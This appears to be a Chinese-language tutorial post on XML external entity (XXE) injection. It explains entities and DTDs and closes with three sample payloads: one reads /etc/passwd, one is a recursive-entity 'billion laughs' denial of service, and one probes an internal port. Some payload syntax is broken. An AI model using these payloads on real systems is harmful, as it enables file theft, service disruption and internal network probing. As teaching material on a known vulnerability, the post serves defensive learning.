zoukankan      html  css  js  c++  java
  • xxe(xml外部实体注入)

    XXE(xml外部实体注入漏洞)

    xml实体分为4种,分别是内部实体、参数实体、预定义实体和外部实体

    内部实体:

    在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。

    预定义实体:
    实体 描述
    &quot; 双引号
    &apos; 单引号
    &lt; 小于,即<
    &gt; 大于,即>
    &amp; &

    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

    内部声明DTD

    <!DOCTYPE 根元素 [元素声明]>

    引用外部DTD

    <!DOCTYPE 根元素 SYSTEM "文件名">

    或者

    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。内部声明实体

    <!ENTITY 实体名称 "实体的值">

    参数实体

    参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:

    引用外部实体

    <!ENTITY 实体名称 SYSTEM "URI">其中SYSTEM关键字就是外部实体的标记、外部实体接受本地文件、http、file等协议形式的内容

    libxml2 php java .net
    file
    http
    ftp
    file
    http
    ftp
    php
    compress.zlib
    compress.bzip2
    datag1obphar
    http
    https
    ftp
    file
    jar
    netdoc
    mailto
    gopher *
    file
    http
    https
    ftp

    xxe攻击方式有基于回显、基于报错和blind xxe
    危害:当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    <!-- 任意文件读取 -->
    <? xml version="1.0"encoding="utf-8"?>
    <!DOCTYPE rohit[
    <! ENTITY abc SYSTEM "file:///etc/passwd">
    ]>
    <abc>&abc;</abc>
    
    <!--xml递归调用造成拒绝服务攻击-->
    <?xml version="1.0"?>
    
    <!DOCTYPE lolz [
    
    <!ENTITY lol "lol">
    
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    
    ]>
    
    <lolz>&lol9;</lolz>
    
    <!--探测内网端口-->
    <? xmL version="1.0"?>
    <! DOCTYPE ANY[
    <! ENTITY xxe SYSTEM "http://192.168.1.1:81">
    <x>&xxe;</x>
    
  • 相关阅读:
    LINQ 查询介绍
    HTML DOM all 集合
    JavaScript eval() 函数
    软件设计之 数据库设计
    Asp.Net下导出/导入规则的Excel(.xls)文档
    软件设计之 用户界面设计
    HTML DOM focus() 方法
    HTML DOM blur() 方法
    HTML DOM Event 对象
    控件用法参考:GridView的用法大全
  • 原文地址:https://www.cnblogs.com/GH-D/p/11279045.html
Copyright © 2011-2022 走看看